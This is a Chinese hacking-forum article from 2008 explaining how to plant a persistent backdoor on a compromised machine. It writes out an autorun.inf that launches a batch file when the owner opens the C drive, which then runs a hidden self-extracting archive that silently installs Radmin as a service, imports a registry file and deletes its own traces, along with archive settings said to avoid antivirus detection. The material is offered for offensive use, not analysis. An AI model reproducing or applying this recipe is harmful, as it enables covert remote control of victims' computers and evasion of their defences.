我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 安全防御 | 程序设计 | 系统操作 | 网络技术 | 本站动态 | 业界动态 | 安全公告 | 病毒公告
 
 
您当前的位置:我爱黑客网 -> 黑客攻防 -> 攻防实战 -> 文章内容  
栏目导航
· Q Q 攻防 · 黑客入门
· 攻防实战 · 安全初步
· 工具详解 · 黑客教程
· 漏洞研究 · 黑客编程
· 技术杂谈 · Exploit
热门文章
· 骇客学堂:简单入侵个..
· 轻松入侵个人免费空间..
· 教你入侵六合彩网拿会..
· 无线攻防:破解WEP密钥..
· 会员QQ重大漏洞
· 手把手教你入侵 win20..
· 怎样不用密码进入Wind..
· 我也做黑客:简单入侵个..
· 网吧冲钱从概念到实践..
· 黑客入门者如何获取肉..
· 黑客高手必懂基础内容..
· 我这样破解万象免费上..
相关文章

· [组图] 模拟入侵20NT..
· 通过mysql入侵NT和w..
· [组图] 一次典型的虚..
· [图文] 用IDS(入侵检..
· 详解病毒木马入侵招..
· [组图] 入侵装有SQL数..
· [组图] 2分钟入侵网站..
· 利用思易ASP木马追捕..
· [组图] 入侵黑客防线..
· 入侵国内赢政下载官..
查看更多与入侵网站后全自动安装后门相关内容

入侵网站后全自动安装后门
作者:我爱黑客网  来源:http://www.5ihack.com/  发布时间:2008-7-10 19:17:28  发布人:ghostfire

减小字体 增大字体

只要你有上传的权限。 
一共三个文件 
1.autorun.inf 2.shell.bat 3.hao.exe(自解压文件) 


思路:全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件。 
第一文件带动运行第二文件。同时第二运行第三 

运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了 

《此法针对没有权限运行木马的入侵活动》 


制作: 
[autorun] 
open=shell.bat 
这个是autorun.inf 



@echo off 

hao.exe 

c:\windows\explorer c:\ 

del autorun.inf 

del rad.exe 

del shell.bat 
这个是shell.bat 



hao.exe 里面包含admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件《关键所在》 

r.bat--》批处理做法 

@echo off 
@pchealthy.exe /install /silence 
@regedit /s admin.reg 
@net start r_server 
@del admin.reg 
@del r.bat 

其他四个就是Radmin的文件。这个大家都会,复制过来就行 



OK,我们再来看自解压的处理,在解压路径里我们用 
%systemroot%\system32,就是解压到系统目录里 
并且 “解压后运行”填上我们的r.bat文件!!!!!! 

因为这里的文件比较多,比较隐蔽 

解压模式我们选 “全部隐藏”,和 “覆盖所有文件”! 
好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了! 
大家不要放在文件夹里压缩哦,要直接选上admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件压缩 


哈哈。。这样就行啦。 
网站你也可以破《这篇文章总结了一些高手和自己的经验》 


写的不好别见怪。。。---》菜鸟要是能灵活运用这个 
也很厉害啦 


当然这个方法有一些局限性 

查看更多与入侵网站后全自动安装后门相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      模拟入侵20NT计算机网络安全小组(图)       已经没有了
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图